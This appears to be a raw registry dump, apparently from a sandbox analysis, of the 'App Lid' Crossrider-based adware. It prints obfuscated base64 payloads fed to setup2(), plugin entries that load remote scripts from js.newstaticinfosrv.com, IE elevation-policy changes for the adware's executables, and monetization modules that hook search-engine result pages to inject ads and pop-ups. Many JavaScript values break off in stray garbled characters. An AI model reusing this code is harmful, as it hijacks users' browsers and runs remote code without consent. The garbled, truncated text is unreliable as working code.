"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGY3ZjYyNWEwNDEyMDYwYTI3MGIxODU3NTE1ODRlMGUwNjBlMDI0MzViNWEwODE0MDcwYjFkMTQ1YzFhMWIxODQ0MTkwODM1MTcwODA0MWM1YjEyMGUwYzM4MDcxNTQ1MTExMDEwNDgzNDI3MmYzNDNkMjkyMTJiM2QzMTJlMmEzMzIzMmEyZTM3MzczMDMwMmYyNzNmMzMzMDI1M2IzZDJiMmE0ZDA4MDUwMjRmNGI0MzQ5NDY0NDRkMGMxNTE2MTc0NzFiMTcxZTEwMDgwYzRhMDcwMjBhM2MxODE5MTA1NjI3MzMyNTIwMzUyMTJhMjYzYzJmM2QzZTM5MzMyYTIyMjYzYTM0MjYzZDMzMzk1MDU2Nzg3MDU2MDUwNzBkMGIwZjFjMzMxNjViNGU1NTU5NDA1ZDZjMGY=', 'tukxlfrzry'); }"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\102]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/102.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\244]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/244.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\184]
"Name" = "noproblemppc_m"
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWQ2NTY2NDUwYzE4MDcxZDIyMDAwYTRkNTU0NzQ2MDQwNzE5MDc0ODQ5NDAwMTE3MTc0MjFkMDIwNzAwMDkwZDAzMDIwOTFjMDMwZTU5MTEwOTAyNDAwOTE0MWYxMTQyMWIxZDAxMDYwYzQ5MGUxZjRjMjIwNTFiMDEwNjAxMmUwMDUxMzY1NTM2NDYyNzVkNWMyNjQ5MmU0MzVlNDM1ZjIzNWQ1ZTU2NDkyZDRhMmM0NzVmNTY1ZjVlNTI1NTViMzc1YzQ3MzQ1MDJhNDkzNDBkMTgxNjI0MTM0ZjM1MGUwMzAyMTc0YTIzMGMwNTA2MDgwYTFkMmUyMDUxNDE1ZDQ3NDI1NjQ5M2YxNTBiMDgwNjBlMDMzYzA3MDIwYTVhM2IzMzMwM2YzODIxMzUzZDI2MjMyMTNlMmMyYzI3MjIzOTIxMmUyYTIxMzMyYzRiMjMxZDA5MDMwZDA2MTYyNTE3NTAyODJkMjUzZDIwMzQzNzNlM2EyOTMyMjAzOTJhMzczMzIxMjIzNzI4MzMyZDM1M2EyZDM4MmQyODJjMzI1NTVlNmM2NjRkMGYxMDE4MDMxZTIyMDAwYTRkNTU0NzQ2MDQwNzE5MDcwMTVjNDA0MDA5MTQxZjVkMDMxODAyMTQwMDBkMGIwMTAxMDMxZDE0NWMwNTAwMDI0ODBhMWMwMDBmNTgxZTA5MDgwNjA0NGEwNjAwNTIzODAwMGYwODA2MDkyZDA4NGUyODRmMzM1MjJlNWQ1NDI1NDEzMTVkNDQ0NjRiMmE1ZDU2NTU0MTMyNTQzNjQyNGI1ZjVmNTY1MTVkNDQyOTQ2NDIyMDU5MmE0MTM3MDUwNzA4M2UxNjViM2MwZTBiMDExZjU1M2QxNjAwMTIwMTBhMTUyZDI4NGU1ZjQ3NDI1NjVmNDkzNzE2MDMxNzE4MTQwNjI4MGUwMjAyNTkzMzJjMmUyNTNkMzUzYzNkMmUyMDI5MjEç•ŸÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\9]
"JavaScript" = "appAPI.hooks.addHook(searchEngine,(function(a){return function(){var f={keyDelay:1000},e,h;return{init:function(i){e=this;this.addEngine({name:google,url:google,input:input[name=q],results:#rso,result:'

'});this.addEngine({name:bing,url:bing.com,input:input[name=q],results:#results > ul,result:'

'});this.addEngine({name:yandex,url:yandex.ru,input:form.b-head-search input.b-form-input__input,form.b-search input.b-form-input__input,results:.b-body-items > ol,result:'

'});this.addEngine({name:yandex,url:yandex.com,input:form.b-search input.b-form-input__input,#searchInput,results:.b-serp2-list__portion,result:'

'});this.addEngine({name:yahoo,url:yahoo.com,input:input[name=p],results:#web ol:eq(0),result:

});this.addEngine({name:yahoo,url:search.yahoo.com,input:input[name=p],results:#web ol:eq(0),result:

});this.addEngine({name:ask,url"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayIcon" = "%Program Files% (x86)\App Lid\utils.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"Name" = "icm_downloads_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\41]
"Name" = "IEInfo"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"JavaScript" = "(function(){var b=dummy so this plugin won't be empty;})();"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"Name" = "appApiMessage"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/234.js"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "91 EC 3D 20 19 1A D0 01"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"Name" = "IEOnRequest"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"Version" = "4"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\93]
"Name" = "superfish_no_coupons_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/39.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Manifest" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"osName" = "7"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"JavaScript" = "appAPI.isBackground=false;appAPI.tabId=POPUP;appAPI.internal.scope=Consts.SCOPE.POPUP;appAPI.browserAction.setBadgeBackgroundColor=function(a){if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Expected an array but got: (typeof a));return;}if(a.length!==4){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Color array should have 4 members (RGBA));return;}appAPI.internal.message.send({eventName:onSetBadgeColorFromPopup,eventContent:a});};appAPI.browserAction.setBadgeText=function(c,a){var b={};if(typeof c!==string){console.error(appAPI.browserAction.setIcon - Invalid parameter. Expected string (1st param) but got: (typeof c));return;}b.text=c;if(typeof a===undefined||a===null){b.color=null;}else{if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeText - Invalid parameter. Expected an array (2nd param) but got: (typeof a));return;}else{if(a.length!==4){console.error(appAPI.browserAction.seÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\44]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/44.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\255]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/255.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"Name" = "openUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrAppId" = "65743"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
"Name" = "tabsWrapper"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWY2MTUyNDE0NzU3NDcwZTEyMDAxNDNlMDAwZDQ1NGQ0NTQ0MGUwMDEwMWI0ODRlNDgxNDAxMDgwNTE1MDcwMzE3NTA0YTE2NGIwNzBkMTUwOTBhMWIwOTAzNTkwYjAzMTI1YjE3MWUxMDRlMTE0NDU3NTc1ZjE2MDA0NDJkM2UyNDI1MmEzNTM1MjYyZDJmMzczMzM4MzIzZDMyMjMzYTIwMmUzNjNlMzQyMjI3MzkyZjMwM2IzNDVkMGQ0OTFkMTY1OTE2MWQwMDU2NDM1NjU1NDc0MzAzMWUwMDU5MzQyZDIyMzUzODM2MzUzNDNkMjAyZTIwM2UyNjI3MzUzOTI4MzUyOTJlMmQzZTQxMDQxYzE1MTIxMTA5MDIxNjVjMzgyODI2MzQyOTI3MzczOTNiMjUyMjI1M2EyZjI4MjczMDJhM2UyZDIyMjUzYTMzMzUzMTM2MzQzYjI1MzgyODQ3NGE2YzU0NDQ0YjUyNDMwZjAzMTExNjE1MjExNjA3NTA1YjQ3NTUwZDEyMTIwNDE3NTE1ZDRlMDQxMzBiMDUwNzE3MGMwZTQzNGMwNjU5MDQwZDA3MTkwNTAyMWEwNTQ5MTkwMDEyNDkwNzExMDk1ZDE3NTQ0NTU0NWYwNDEwNGIzNDJkMjIzNTM4MzYzNTM0M2QyMDJlMjAzZTIyMmYzMTIzMjgzMDIxMmYyZDMyMzIzNTNhMmYyMjJiM2I0NDFlNGYwZDA0NWExNjBmMTA1OTVhNDU1MzU3NTEwMDFlMTI0OTNiMzQzMTMzMjgyNDM2MzQyZjMwMjEzOTJkMjAzNzI3M2EyODI3MzkyMTM0MmQ0NzE0MGUxNjEyMDMxOTBkMGY0ZjNlMzgzNDM3MjkzNTI3MzYyMjM2MjQzNTI4MmMyODM1MjAyNTI3M2UyNDM1MjgzMDM1MjMyNjNiMjIzNjNlMzg1NTQ5NmM0NjU0NDQ0YjUwMTEwYjAyMDI@Í‘"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\64]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/17.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"DisableIe" = "true"
"UninstallerOfferUrl" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"Name" = "IEPopup"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"Time" = "1418834836"
"AdditionalInfo" = "{""asw"":[0, 1073750533, -2147475456, 0],""browser_name"":""ie""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"Name" = "intext_5_j_m"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"subid" = "0"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/262.js"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"DefaultBrowser" = "ie"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"Policy" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\14]
"Name" = "CrossriderUtils"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\184]
"Version" = "10"

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal===undefined){appAPI.internal={};appAPI.internal.callbacks={};}else{if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}}}appAPI.internal.callbacks.timersListeners={};appAPI.internal.callbacks.timersIsInterval={};appAPI.internal.callbacks.timer=function(b){var a=b.timerId;if(typeof a!==number){return;}if(typeof appAPI.internal.callbacks.timersListeners[a]===undefined){return;}var d=appAPI.internal.callbacks.timersListeners[a];if(!appAPI.internal.callbacks.timersIsInterval[a]){clearInterval(a);delete appAPI.internal.callbacks.timersListeners[a];delete appAPI.internal.callbacks.timersIsInterval[a];}try{d();}catch(c){console.error(setInterval/setTimeout - Caught an exception from user callback: (typeof c.message===string?c.message:???));}};(function(a){appAPI.setInterval=function(d,c,e){if((typeof d!==undefined)&&(typeof c===number)){var b=a.setInÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.scope=Consts.SCOPE.PAGE;appAPI.internal.callbacks.setEventHandler(externalConsole,function(a){if(appAPI.dom.isIframe()){return;}var c=a.level;var b=a.text;if(typeof c===undefined){console.error(Received undefined Background console level);return;}if(typeof console[c]===undefined){console.error(Received undefined Background console level);return;}if(typeof b===undefined){console.error(Received undefined Background console text);return;}console[c](b);});appAPI.internal.callbacks.setEventHandler(onBeforeNavigate,function(a){});appAPI.internal.callbacks.setEventHandler(windowOpen,function(a){if(appAPI.dom.isIframe()||!appAPI.isActiveTab()){return;}window.open(a.url,a.name,a.specs,a.replace);});try{if(!appAPI.dom.isIframe()){appAPI.internal.activeTabCounter=0;setInterval(function(){if(appAPI.isActiÍ‘"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\38]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.callbacks.genericEvent=function(e){var d=e.eventContent;if(typeof d===undefined){return;}var a=e.eventName;if(typeof a===undefined){return;}if(typeof appAPI.internal.callbacks[a]===undefined){return;}if(typeof appAPI.internal.callbacks[a].handler!==undefined){var b=appAPI.internal.callbacks[a].handler(d);if(b){return;}}if(typeof appAPI.internal.callbacks[a].listeners===undefined){return;}for(var c in appAPI.internal.callbacks[a].listeners){appAPI.internal.callbacks[a].listeners[c](d,c);}};appAPI.internal.callbacks.addListener=function(b,a,c){if(typeof appAPI.internal.callbacks[b]===undefined){appAPI.internal.callbacks[b]={};appAPI.internal.callbacks[b].listeners={};appAPI.internal.callbacks[b].listenersAdditionalData={};appAPI.internal.callbacks[b].listenersIds=0;appAPI.internal.callbacks[b].numberOÍ‘"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\94]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/94.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/242.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/13.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Version" = "16"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"JavaScript" = "(function(a){appAPI.queueManager={queue:[],register:function(b){this.queue.push(b);}};appAPI.ready=function(c,b){a.when.apply(null,appAPI.queueManager.queue).then(function(){a.when(appAPI.initializerPlugin.isReady(b)).then(function(){new Function('if (typeof jQuery === undefined) { jQuery = $jquery_171; }(' appAPI.resources.parseIncludeJS(c.toString()) )($jquery_171))();});});};}($jquery_171));var CrossRiderResourcesManager=(function(z){var B={appId:appAPI._cr_config.appID(),url:appAPI._cr_config.resources,env:appAPI.appInfo.environment===staging?staging:production,saveResource:appAPI.time.daysFromNow(90),nextCheck:360,DBNamespace:Resources_,isDebug:appAPI.debugManager.isDebug()&&appAPI.debugManager.getResourcesPath(),isIE7:z.browser.msie&&z.browser.version*1==7},x=new z.Deferred(),h=K(meta)||{},D=K(remote_resources)||{remoteId:0},e=K(queue)||{},g=initialVersion=K(lastVersion)||0;return z.Class.extend({init:function(){appAPI.queueManager.register(x.promise());if(B.isDebug){x.resolve();}elÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\93]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/93.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\7]
"JavaScript" = "appAPI.hooks={$:$jquery_171,hooks:{},addHook:function(a,b){this.hooks[a]=b;},removeHook:function(a){delete this.hooks[a];},register:function(b,a){return this.hooks[b]?new (this.$.Class.extend(this.$.extend(this.getClass(),this.$.isFunction(this.hooks[b])?this.hooks[b]():this.hooks[b])))(a):null;},getClass:(function(a){return function(){return{listeners:[],addListener:function(b,c){this.listeners.push({name:b,fn:c});},removeListener:function(c,d){var b=[];a.each(this.listeners,function(e,f){if(c!=f.name&&d!=f.fn){b.push(f);}});this.listeners=b;},fireEvent:function(b,c){a.each(this.listeners,a.proxy(function(d,e){if(b==e.name){e.fn.call(this,c);}},this));}};};}($jquery_171))};"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"PopupPluginList" = "42,38,46,41,44,39,35,43,36,4,14,78,13,64,207,47,182,72,94"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\262]
"Name" = "pops_5_j_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\45]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/45.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"Name" = "imonomy_m"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{450d8529-5da9-46c2-9376-fca4a3bc6e17}]
"AppName" = "App Lid-codedownloader.exe"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"Name" = "setup"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(e){if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}function f(m){if(typeof m===object){return m;}if(typeof m!==string){return null;}m=m.replace(/\r\n/g,\n);if(m.lastIndexOf(\n) 1==m.length){m.replace(/(?:(?:^|\n)\s |\s (?:$|\n))/g,).replace(/\s /g, );}var n=m.split(\n);var l={};for(var k=0;k
[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"Policy" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"ChangePrevious" = "false"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"Name" = "ie8_fix_2"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"srcid" = "000820"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/37.js"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"UninstallerOfferAction" = "NA"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\182]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/182.js"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "A6CD997E08804A369D8FB9D181719F3AIE"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"JavaScript" = "(function(a){a.selectedText=function(e,c){function d(){if(window.getSelection){return window.getSelection();}else{if(document.getSelection){return document.getSelection();}else{var f=document.selection&&document.selection.createRange();if(f.text){return f.text;}return false;}}return false;}if(e==null){a.debug(selectedText: no callback function provided.);return;}if(c==null){c={};}c.lastSelection=;c.minlength=c.minlength||1;c.maxlength=c.maxlength||99999999;var b;switch(typeof(c.element)){caseundefined:b=$jquery(body);break;caseobject:if(c.element instanceof jQuery){b=c.element;}else{a.debug(selectedText: element provided as an unrecorgnize object.);return;}break;casestring:b=$jquery(c.element);break;default:a.debug(selectedText: unknown element.);return;}b.mouseup(function(g){var f=d();if(f&&String(f)==c.lastSelection){c.lastSelection=;return;}else{c.lastSelection=String(f);}if(f&&String(f).length>=c.minlength&&String(f).length<=c.maxlength){e(f,g);}});};})(appAPI);(function(b){var c=functiÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\244]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"JavaScript" = "(function(){appAPI.ready=function(a){appAPI.resources.isReady(a);};}());var CrossRiderResourcesManager=(function(){var C={appId:(function(){var D=appAPI.appInfo;if(D){return appAPI.appInfo.id;}else{return appAPI.appID;}})(),url:{base:{production:[""\x68\x74\x74\x70\x3a\x2f\x2f\x72\x65\x73\x6f""

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"JavaScript" = "appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[221]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(221,[pops])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:DOWNLOADS}))();};"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\43]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}if(typeof appAPI.internal.message===undefined){appAPI.internal.message={};}appAPI.internal.message.send=function(b){if(typeof b!==object){return false;}if(typeof b.eventName!==string){return false;}b.senderTabId=appAPI.tabId;var c;try{c=appAPI.JSON.stringify(b);}catch(a){console.error(appAPI.message error - Caught a JSON exception when trying to stringify the message);return false;}if(typeof c!==string){console.error(appAPI.message error - Failed to stringify message);return false;}if(c.length>8192){console.error(appAPI.message error - can't send message because content is too long: c.length);return false;}appAPIinternal.msgToAllTabs(c);return true;};appAPI.internal.callbacks.crossBhoEvent=function(b){if(typeof b.msgObj!==string){return;}try{b=appAPI.JSON.parse(b.msgObj);}catch(c){console.error(Failed to parsÍ‘"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{796bb9d7-13c4-4d57-a3bf-fc21f595951f}]
"AppName" = "App Lid-bg.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"DisplayName" = "App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
"Name" = "IEBrowserEvents"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/301.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\35]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/35.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"JavaScript" = "var Consts={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(typeof appAPI===undefined){appAPI={};}appAPI.__should_activate_validation__=true;(function(a){if(typeof window==undefined){window={};}if(typeof window.document===undefined){window.document={};document=window.document;}if(typeof window.alert===undefined){window.alert=function(b){var c;if(typeof b===undefined){c=undefined;}else{if(b===null){c=null;}else{c=b.toString();}}if(typeof c===string){a.alert(c);}};alert=window.alert;}})(appAPIinternal);if(typeof console===undefined){window.console={};console=window.console;}if(typeof console.log===undefined){window.console.log=function(a){};console.log=window.console.log;}if(typeof console.info===undefined){window.console.info=function(a){};console.info=window.console.info;}if(typeof console.warn===undefined){window.console.warn=function(a){};console.warn=window.console.warn;}if(typeof console.error===undefined){window.console.error=function(a){};console.error=window.console.error;Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/223.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\13]
"Name" = "CrossriderAppUtils"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"Name" = "monetizationLoader.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"JavaScript" = "if(typeof window!==undefined){/*! * jQuery JavaScript Library v1.4.2 * http://jquery.com/ * * Copyright 2010, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2010, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Sat Feb 13 22:33:48 2010 -0500 */var $$jquery;(function(aO,D){var a=function(e,a0){return new a.fn.init(e,a0);},o=aO.jQuery,S=aO.$,ac=aO.document,Y,Q=/^[^<]*(<[\w\W] >)[^>]*$|^#([\w-] )$/,aY=/^.[^:#\[\.,]*$/,az=/\S/,N=/^(\s|\u00A0) |(\s|\u00A0) $/g,f=/^<(\w )\s*\/?>(?:<\/\1>)?$/,b=navigator.userAgent,v,L=false,af=[],aI,av=Object.prototype.toString,ar=Object.prototype.hasOwnProperty,h=Array.prototype.push,G=Array.prototype.slice,t=Array.prototype.indexOf;a.fn=a.prototype={init:function(e,a2){var a1,a3,a0,a4;if(!e){return this;}if(e.nodeType){this.context=this[0]=e;this.length=1;return this;}if(e===body&&!a2){this.context=ac;this[0]=ac.body;this.seÍ‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"Name" = "jquery_1_7_1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\39]
"Name" = "IEDatabase"

[HKCU\Software\AppDataLow\Software\App Lid\Installer]
"FullVersionForUrl" = "1_35_11_26"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION]
"App Lid-bg.exe" = "8000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\Installer]
"BundledIe" = "1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\221]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/221.js"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "45a5d93e053e7aacbe23aedf1ed2b00a"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\223]
"Version" = "9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/220.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"Name" = "price_gong_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/42.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\102]
"Version" = "11"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"AddressbarURL" = "NA"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{4a2ad0d2-a8c3-4c39-ba41-f1e7f301d6a8}]
"Policy" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\177]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/177.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\180]
"Name" = "bpo_serp_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\3]
"URL" = "http://js.newstaticinfosrv.com/plugins/mins/3.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\22]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\37]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.browserEventCode=true;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;appAPI.internal.callbacks.setEventHandler(openURL,function(b){if(appAPI.isActiveTab()){var a={url:b.url,where:b.where,focus:(typeof b.focus===boolean?b.focus:true),height:(typeof b.height===number?b.height:750),width:(typeof b.width===number?b.width:750),top:(typeof b.top===number?b.top:100),left:(typeof b.left===number?b.left:100),focusTimer:(typeof b.focusTimer===number?b.focusTimer:0),focusDelay:(typeof b.focusDelay===number?b.focusDelay:0)};appAPI.Í‘"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\42]
"Name" = "IEInternal"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\183]
